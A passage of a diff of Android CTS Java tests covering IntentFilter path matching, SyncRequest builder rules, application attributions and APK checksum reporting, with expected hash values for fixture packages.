+            assertEquals(p.getPath(), mIntentFilter.getDataPath(i).getPath());
+            assertEquals(p.getType(), mIntentFilter.getDataPath(i).getType());
+            assertTrue(mIntentFilter.hasDataPath(DATA_PATH + i));
+            assertTrue(mIntentFilter.hasDataPath("a" + DATA_PATH + i));
+            i++;
+        }
+
+        mIntentFilter = new IntentFilter();
         i = 0;
         for (i = 0; i < 10; i++) {
             mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_LITERAL);
@@ -1150,6 +1196,26 @@
             i++;
         }
 
+        mIntentFilter = new IntentFilter();
+        for (i = 0; i < 10; i++) {
+            mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_ADVANCED_GLOB);
+        }
+        assertEquals(10, mIntentFilter.countDataPaths());
+        iter = mIntentFilter.pathsIterator();
+        i = 0;
+        while (iter.hasNext()) {
+            actual = iter.next();
+            assertEquals(DATA_PATH + i, actual.getPath());
+            assertEquals(PatternMatcher.PATTERN_ADVANCED_GLOB, actual.getType());
+            PatternMatcher p = new PatternMatcher(DATA_PATH + i,
+                    PatternMatcher.PATTERN_ADVANCED_GLOB);
+            assertEquals(p.getPath(), mIntentFilter.getDataPath(i).getPath());
+            assertEquals(p.getType(), mIntentFilter.getDataPath(i).getType());
+            assertTrue(mIntentFilter.hasDataPath(DATA_PATH + i));
+            assertFalse(mIntentFilter.hasDataPath(DATA_PATH + i + 10));
+            i++;
+        }
+
         IntentFilter filter = new Match(null, null, null, new String[]{"scheme1"},
                 new String[]{"authority1"}, new String[]{null});
         checkMatches(filter,
@@ -1448,6 +1514,12 @@
         }
     }
 
+    private static void checkMatches(IntentFilter[] filters, MatchCondition... results) {
+        for (IntentFilter filter : filters) {
+            checkMatches(filter, results);
+        }
+    }
+
     private static void checkMatches(IntentFilter filter, MatchCondition... results) {
         for (int i = 0; i < results.length; i++) {
             MatchCondition mc = results[i];
@@ -1522,6 +1594,24 @@
                 MatchCondition.data(
                         IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/literal12"));
         filter = new Match(null, null, null,
+                new String[]{"scheme"}, new String[]{"authority"}, null,
+                new String[]{"literal1", "2literal"}, new int[]{PATTERN_SUFFIX, PATTERN_SUFFIX});
+        checkMatches(filter,
+                MatchCondition.data(
+                        IntentFilter.NO_MATCH_DATA, null),
+                MatchCondition.data(
+                        IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/aliteral1"),
+                MatchCondition.data(
+                        IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/2literal"),
+                MatchCondition.data(
+                        IntentFilter.NO_MATCH_DATA, "scheme://authority/literal"),
+                MatchCondition.data(
+                        IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/literal1"),
+                MatchCondition.data(
+                        IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/2literal1"),
+                MatchCondition.data(
+                        IntentFilter.NO_MATCH_DATA, "scheme://authority/literal1a"));
+        filter = new Match(null, null, null,
                 new String[]{"scheme"}, new String[]{"authority"}, null, new String[]{"/.*"},
                 new int[]{PATTERN_SIMPLE_GLOB});
         checkMatches(filter,
diff --git a/tests/tests/content/src/android/content/cts/SyncRequestTest.java b/tests/tests/content/src/android/content/cts/SyncRequestTest.java
new file mode 100644
index 0000000..a30b0d0
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/SyncRequestTest.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.cts;
+
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.SyncRequest;
+import android.os.Bundle;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SyncRequestTest {
+
+    @Test
+    public void testBuilder_normal() {
+        Bundle extras = new Bundle();
+        extras.putBoolean(ContentResolver.SYNC_EXTRAS_DO_NOT_RETRY, true);
+        extras.putBoolean(ContentResolver.SYNC_EXTRAS_PRIORITY, true);
+        extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_SETTINGS, true);
+        new SyncRequest.Builder()
+                .setSyncAdapter(null, "authority1")
+                .syncOnce()
+                .setExtras(extras)
+                .setExpedited(true)
+                .setManual(true)
+                .build();
+    }
+
+    @Test
+    public void testBuilder_scheduleAsEj() {
+        new SyncRequest.Builder()
+                .setSyncAdapter(null, "authority1")
+                .setScheduleAsExpeditedJob(true)
+                .build();
+    }
+
+    @Test
+    public void testBuilder_throwsException() {
+        try {
+            new SyncRequest.Builder()
+                    .setSyncAdapter(null, "authority1")
+                    .setExpedited(true)
+                    .setScheduleAsExpeditedJob(true)
+                    .build();
+            fail("cannot both schedule as an expedited job and set the expedited extra");
+        } catch (IllegalArgumentException expected) {
+        }
+
+        final Bundle extras = new Bundle();
+        extras.putBoolean(ContentResolver.SYNC_EXTRAS_SCHEDULE_AS_EXPEDITED_JOB, true);
+        try {
+            new SyncRequest.Builder()
+                    .setSyncAdapter(null, "authority1")
+                    .syncPeriodic(1, 1)
+                    .setExtras(extras)
+                    .build();
+            fail("periodic syncs cannot be scheduled as EJs");
+        } catch (IllegalArgumentException expected) {
+        }
+
+        try {
+            new SyncRequest.Builder()
+                    .setSyncAdapter(null, "authority1")
+                    .setRequiresCharging(true)
+                    .setExtras(extras)
+                    .build();
+            fail("cannot require charging if scheduled as an EJ");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
index 358a894..204ab35 100644
--- a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
@@ -16,6 +16,7 @@
 
 package android.content.pm.cts;
 
+import static android.content.pm.ApplicationInfo.CATEGORY_ACCESSIBILITY;
 import static android.content.pm.ApplicationInfo.CATEGORY_MAPS;
 import static android.content.pm.ApplicationInfo.CATEGORY_PRODUCTIVITY;
 import static android.content.pm.ApplicationInfo.CATEGORY_UNDEFINED;
@@ -212,6 +213,13 @@
     }
 
     @Test
+    public void testDirectBootUnawareAppCategoryIsAccessibility() throws Exception {
+        mApplicationInfo = getContext().getPackageManager().getApplicationInfo(
+                DIRECT_BOOT_UNAWARE_PACKAGE_NAME, 0);
+        assertEquals(CATEGORY_ACCESSIBILITY, mApplicationInfo.category);
+    }
+
+    @Test
     public void testPartiallyDirectBootAwareAppIsEncryptionAware() throws Exception {
         ApplicationInfo applicationInfo = getContext().getPackageManager().getApplicationInfo(
                 PARTIALLY_DIRECT_BOOT_AWARE_PACKAGE_NAME, 0);
diff --git a/tests/tests/content/src/android/content/pm/cts/AttributionTest.java b/tests/tests/content/src/android/content/pm/cts/AttributionTest.java
new file mode 100644
index 0000000..c1354f7
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/AttributionTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link Attribution}.
+ */
+@AppModeFull // TODO(Instant) Figure out which APIs should work.
+@RunWith(AndroidJUnit4.class)
+public class AttributionTest {
+
+    private static final String PACKAGE_NAME = "android.content.cts";
+    private static final String[] TAGS =
+            new String[] { "attribution_tag_one", "attribution_tag_two" };
+    private static final String[] LABELS =
+            new String[] { "attribution label one", "attribution label two" };
+    private static final boolean[] SHOULD_SHOW = new boolean[] { false, true };
+    private static final int NUM_ATTRIBUTIONS = 2;
+
+    private static Context sContext = InstrumentationRegistry.getInstrumentation().getContext();
+
+    @Test
+    public void dontGetAttributions() throws Exception {
+        PackageInfo packageInfo = sContext.getPackageManager().getPackageInfo(PACKAGE_NAME, 0);
+        assertNotNull(packageInfo);
+        assertNull(packageInfo.attributions);
+    }
+
+    @Test
+    public void getAttributionsAndVerify() throws Exception {
+        PackageInfo packageInfo = sContext.getPackageManager().getPackageInfo(PACKAGE_NAME,
+                PackageManager.GET_ATTRIBUTIONS);
+        assertNotNull(packageInfo);
+        assertNotNull(packageInfo.attributions);
+        assertEquals(packageInfo.attributions.length, NUM_ATTRIBUTIONS);
+        for (int i = 0; i < NUM_ATTRIBUTIONS; i++) {
+            assertEquals(packageInfo.attributions[i].getTag(), TAGS[i]);
+            assertEquals(sContext.getString(packageInfo.attributions[i].getLabel()), LABELS[i]);
+        }
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/ChecksumsTest.java b/tests/tests/content/src/android/content/pm/cts/ChecksumsTest.java
new file mode 100644
index 0000000..62e9217
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/ChecksumsTest.java
@@ -0,0 +1,1437 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static android.content.pm.Checksum.TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256;
+import static android.content.pm.Checksum.TYPE_PARTIAL_MERKLE_ROOT_1M_SHA512;
+import static android.content.pm.Checksum.TYPE_WHOLE_MD5;
+import static android.content.pm.Checksum.TYPE_WHOLE_MERKLE_ROOT_4K_SHA256;
+import static android.content.pm.Checksum.TYPE_WHOLE_SHA1;
+import static android.content.pm.Checksum.TYPE_WHOLE_SHA256;
+import static android.content.pm.Checksum.TYPE_WHOLE_SHA512;
+import static android.content.pm.PackageInstaller.LOCATION_DATA_APP;
+import static android.content.pm.PackageManager.GET_SIGNING_CERTIFICATES;
+import static android.content.pm.PackageManager.TRUST_ALL;
+import static android.content.pm.PackageManager.TRUST_NONE;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.testng.Assert.assertEquals;
+import static org.testng.Assert.assertNotNull;
+
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.IIntentReceiver;
+import android.content.IIntentSender;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.content.pm.ApkChecksum;
+import android.content.pm.Checksum;
+import android.content.pm.DataLoaderParams;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageInstaller.Session;
+import android.content.pm.PackageInstaller.SessionParams;
+import android.content.pm.PackageManager;
+import android.content.pm.Signature;
+import android.content.pm.cts.util.AbandonAllPackageSessionsRule;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.util.ExceptionUtils;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.internal.util.HexDump;
+import com.android.server.pm.ApkChecksums;
+import com.android.server.pm.PackageManagerShellCommandDataLoader;
+import com.android.server.pm.PackageManagerShellCommandDataLoader.Metadata;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.EOFException;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Objects;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.Nonnull;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class ChecksumsTest {
+    private static final String CTS_PACKAGE_NAME = "android.content.cts";
+    private static final String V2V3_PACKAGE_NAME = "android.content.cts";
+    private static final String V4_PACKAGE_NAME = "com.example.helloworld";
+    private static final String FIXED_PACKAGE_NAME = "android.appsecurity.cts.tinyapp";
+
+    private static final String TEST_APK_PATH = "/data/local/tmp/cts/content/";
+
+    private static final String TEST_V4_APK = "HelloWorld5.apk";
+    private static final String TEST_V4_SPLIT0 = "HelloWorld5_hdpi-v4.apk";
+    private static final String TEST_V4_SPLIT1 = "HelloWorld5_mdpi-v4.apk";
+    private static final String TEST_V4_SPLIT2 = "HelloWorld5_xhdpi-v4.apk";
+    private static final String TEST_V4_SPLIT3 = "HelloWorld5_xxhdpi-v4.apk";
+    private static final String TEST_V4_SPLIT4 = "HelloWorld5_xxxhdpi-v4.apk";
+
+    private static final String TEST_FIXED_APK = "CtsPkgInstallTinyAppV2V3V4.apk";
+    private static final String TEST_FIXED_APK_DIGESTS_FILE =
+            "CtsPkgInstallTinyAppV2V3V4.digests";
+    private static final String TEST_FIXED_APK_DIGESTS_SIGNATURE =
+            "CtsPkgInstallTinyAppV2V3V4.digests.signature";
+    private static final String TEST_CERTIFICATE = "test-cert.x509.pem";
+    private static final String TEST_FIXED_APK_V1 = "CtsPkgInstallTinyAppV1.apk";
+    private static final String TEST_FIXED_APK_SHA512 =
+            "CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk";
+    private static final String TEST_FIXED_APK_VERITY = "CtsPkgInstallTinyAppV2V3V4-Verity.apk";
+
+    private static final String TEST_FIXED_APK_V2_SHA256 =
+            "1eec9e86e322b8d7e48e255fc3f2df2dbc91036e63982ff9850597c6a37bbeb3";
+    private static final String TEST_FIXED_APK_SHA256 =
+            "91aa30c1ce8d0474052f71cb8210691d41f534989c5521e27e794ec4f754c5ef";
+    private static final String TEST_FIXED_APK_MD5 = "c19868da017dc01467169f8ea7c5bc57";
+    private static final Checksum[] TEST_FIXED_APK_DIGESTS = new Checksum[]{
+            new Checksum(TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256,
+                    hexStringToBytes(TEST_FIXED_APK_V2_SHA256)),
+            new Checksum(TYPE_WHOLE_SHA256, hexStringToBytes(TEST_FIXED_APK_SHA256)),
+            new Checksum(TYPE_WHOLE_MD5, hexStringToBytes(TEST_FIXED_APK_MD5))};
+    private static final Checksum[] TEST_FIXED_APK_WRONG_DIGESTS = new Checksum[]{
+            new Checksum(TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256, hexStringToBytes("850597c6a37bbeb3")),
+            new Checksum(TYPE_WHOLE_SHA256, hexStringToBytes(TEST_FIXED_APK_SHA256)),
+            new Checksum(TYPE_WHOLE_MD5, hexStringToBytes(TEST_FIXED_APK_MD5))};
+
+
+    private static final byte[] NO_SIGNATURE = null;
+
+    private static final int ALL_CHECKSUMS =
+            TYPE_WHOLE_MERKLE_ROOT_4K_SHA256 | TYPE_WHOLE_MD5 | TYPE_WHOLE_SHA1 | TYPE_WHOLE_SHA256
+                    | TYPE_WHOLE_SHA512
+                    | TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256 | TYPE_PARTIAL_MERKLE_ROOT_1M_SHA512;
+
+    private static UiAutomation getUiAutomation() {
+        return InstrumentationRegistry.getInstrumentation().getUiAutomation();
+    }
+
+    private static PackageManager getPackageManager() {
+        return InstrumentationRegistry.getContext().getPackageManager();
+    }
+
+    private static PackageInstaller getPackageInstaller() {
+        return getPackageManager().getPackageInstaller();
+    }
+
+    @Rule
+    public AbandonAllPackageSessionsRule mAbandonSessionsRule = new AbandonAllPackageSessionsRule();
+
+    @Before
+    public void onBefore() throws Exception {
+        uninstallPackageSilently(V4_PACKAGE_NAME);
+        assertFalse(isAppInstalled(V4_PACKAGE_NAME));
+        uninstallPackageSilently(FIXED_PACKAGE_NAME);
+        assertFalse(isAppInstalled(FIXED_PACKAGE_NAME));
+    }
+
+    @After
+    public void onAfter() throws Exception {
+        uninstallPackageSilently(V4_PACKAGE_NAME);
+        assertFalse(isAppInstalled(V4_PACKAGE_NAME));
+        uninstallPackageSilently(FIXED_PACKAGE_NAME);
+        assertFalse(isAppInstalled(FIXED_PACKAGE_NAME));
+    }
+
+    @Test
+    public void testReadWriteChecksums() throws Exception {
+        // Read checksums from file and confirm they are the same as hardcoded.
+        checkStoredChecksums(TEST_FIXED_APK_DIGESTS, TEST_FIXED_APK_DIGESTS_FILE);
+
+        // Write checksums and confirm that the file stays the same.
+        try (ByteArrayOutputStream os = new ByteArrayOutputStream();
+             DataOutputStream dos = new DataOutputStream(os)) {
+            for (Checksum checksum : TEST_FIXED_APK_DIGESTS) {
+                Checksum.writeToStream(dos, checksum);
+            }
+            final byte[] fileBytes = Files.readAllBytes(
+                    Paths.get(createApkPath(TEST_FIXED_APK_DIGESTS_FILE)));
+            final byte[] localBytes = os.toByteArray();
+            Assert.assertArrayEquals(fileBytes, localBytes);
+        }
+    }
+
+    @Test
+    public void testDefaultChecksums() throws Exception {
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(V2V3_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+    }
+
+    @Test
+    public void testSplitsDefaultChecksums() throws Exception {
+        installSplits(new String[]{TEST_V4_APK, TEST_V4_SPLIT0, TEST_V4_SPLIT1, TEST_V4_SPLIT2,
+                TEST_V4_SPLIT3, TEST_V4_SPLIT4});
+        assertTrue(isAppInstalled(V4_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(V4_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 6);
+        // v2/v3 signature use 1M merkle tree.
+        assertEquals(checksums[0].getSplitName(), null);
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(checksums[1].getSplitName(), "config.hdpi");
+        assertEquals(checksums[1].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(checksums[2].getSplitName(), "config.mdpi");
+        assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(checksums[3].getSplitName(), "config.xhdpi");
+        assertEquals(checksums[3].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(checksums[4].getSplitName(), "config.xxhdpi");
+        assertEquals(checksums[4].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(checksums[5].getSplitName(), "config.xxxhdpi");
+        assertEquals(checksums[5].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+    }
+
+    @Test
+    public void testFixedDefaultChecksums() throws Exception {
+        installPackage(TEST_FIXED_APK);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        // v2/v3 signature use 1M merkle tree.
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertNull(checksums[0].getInstallerCertificate());
+    }
+
+    @Test
+    public void testFixedV1DefaultChecksums() throws Exception {
+        installPackage(TEST_FIXED_APK_V1);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 0);
+    }
+
+    @Test
+    public void testFixedSha512DefaultChecksums() throws Exception {
+        installPackage(TEST_FIXED_APK_SHA512);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        // v2/v3 signature use 1M merkle tree.
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA512);
+        assertEquals(bytesToHexString(checksums[0].getValue()),
+                "6b866e8a54a3e358dfc20007960fb96123845f6c6d6c45f5fddf88150d71677f"
+                        + "4c3081a58921c88651f7376118aca312cf764b391cdfb8a18c6710f9f27916a0");
+        assertNull(checksums[0].getInstallerCertificate());
+    }
+
+    @Test
+    public void testFixedVerityDefaultChecksums() throws Exception {
+        installPackage(TEST_FIXED_APK_VERITY);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        // No usable hashes as verity-in-v2-signature does not cover the whole file.
+        assertEquals(checksums.length, 0);
+    }
+
+    @LargeTest
+    @Test
+    public void testAllChecksums() throws Exception {
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(V2V3_PACKAGE_NAME, true, ALL_CHECKSUMS, TRUST_NONE,
+                receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 7);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MERKLE_ROOT_4K_SHA256);
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_MD5);
+        assertEquals(checksums[2].getType(), TYPE_WHOLE_SHA1);
+        assertEquals(checksums[3].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(checksums[4].getType(), TYPE_WHOLE_SHA512);
+        assertEquals(checksums[5].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(checksums[6].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA512);
+    }
+
+    @LargeTest
+    @Test
+    public void testFixedAllChecksums() throws Exception {
+        installPackage(TEST_FIXED_APK);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, ALL_CHECKSUMS, TRUST_NONE,
+                receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 7);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MERKLE_ROOT_4K_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()),
+                "90553b8d221ab1b900b242a93e4cc659ace3a2ff1d5c62e502488b385854e66a");
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_MD5);
+        assertEquals(bytesToHexString(checksums[1].getValue()), TEST_FIXED_APK_MD5);
+        assertEquals(checksums[2].getType(), TYPE_WHOLE_SHA1);
+        assertEquals(bytesToHexString(checksums[2].getValue()),
+                "331eef6bc57671de28cbd7e32089d047285ade6a");
+        assertEquals(checksums[3].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(bytesToHexString(checksums[3].getValue()), TEST_FIXED_APK_SHA256);
+        assertEquals(checksums[4].getType(), TYPE_WHOLE_SHA512);
+        assertEquals(bytesToHexString(checksums[4].getValue()),
+                "b59467fe578ebc81974ab3aaa1e0d2a76fef3e4ea7212a6f2885cec1af5253571"
+                        + "1e2e94496224cae3eba8dc992144ade321540ebd458ec5b9e6a4cc51170e018");
+        assertEquals(checksums[5].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[5].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertEquals(checksums[6].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA512);
+        assertEquals(bytesToHexString(checksums[6].getValue()),
+                "ef80a8630283f60108e8557c924307d0ccdfb6bbbf2c0176bd49af342f43bc84"
+                        + "5f2888afcb71524196dda0d6dd16a6a3292bb75b431b8ff74fb60d796e882f80");
+    }
+
+    @LargeTest
+    @Test
+    public void testFixedV1AllChecksums() throws Exception {
+        installPackage(TEST_FIXED_APK_V1);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, ALL_CHECKSUMS, TRUST_NONE,
+                receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 5);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MERKLE_ROOT_4K_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()),
+                "1e8f831ef35257ca30d11668520aaafc6da243e853531caabc3b7867986f8886");
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_MD5);
+        assertEquals(bytesToHexString(checksums[1].getValue()), "78e51e8c51e4adc6870cd71389e0f3db");
+        assertEquals(checksums[2].getType(), TYPE_WHOLE_SHA1);
+        assertEquals(bytesToHexString(checksums[2].getValue()),
+                "f6654505f2274fd9bfc098b660cdfdc2e4da6d53");
+        assertEquals(checksums[3].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(bytesToHexString(checksums[3].getValue()),
+                "43755d36ec944494f6275ee92662aca95079b3aa6639f2d35208c5af15adff78");
+        assertEquals(checksums[4].getType(), TYPE_WHOLE_SHA512);
+        assertEquals(bytesToHexString(checksums[4].getValue()),
+                "030fc815a4957c163af2bc6f30dd5b48ac09c94c25a824a514609e1476f91421"
+                        + "e2c8b6baa16ef54014ad6c5b90c37b26b0f5c8aeb01b63a1db2eca133091c8d1");
+    }
+
+    @Test
+    public void testDefaultIncrementalChecksums() throws Exception {
+        if (!checkIncrementalDeliveryFeature()) {
+            return;
+        }
+        installPackageIncrementally(TEST_V4_APK);
+        assertTrue(isAppInstalled(V4_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(V4_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MERKLE_ROOT_4K_SHA256);
+    }
+
+    @Test
+    public void testFixedDefaultIncrementalChecksums() throws Exception {
+        if (!checkIncrementalDeliveryFeature()) {
+            return;
+        }
+        installPackageIncrementally(TEST_FIXED_APK);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MERKLE_ROOT_4K_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()),
+                "90553b8d221ab1b900b242a93e4cc659ace3a2ff1d5c62e502488b385854e66a");
+    }
+
+    @LargeTest
+    @Test
+    public void testFixedAllIncrementalChecksums() throws Exception {
+        if (!checkIncrementalDeliveryFeature()) {
+            return;
+        }
+        installPackageIncrementally(TEST_FIXED_APK);
+        assertTrue(isAppInstalled(FIXED_PACKAGE_NAME));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, ALL_CHECKSUMS, TRUST_NONE,
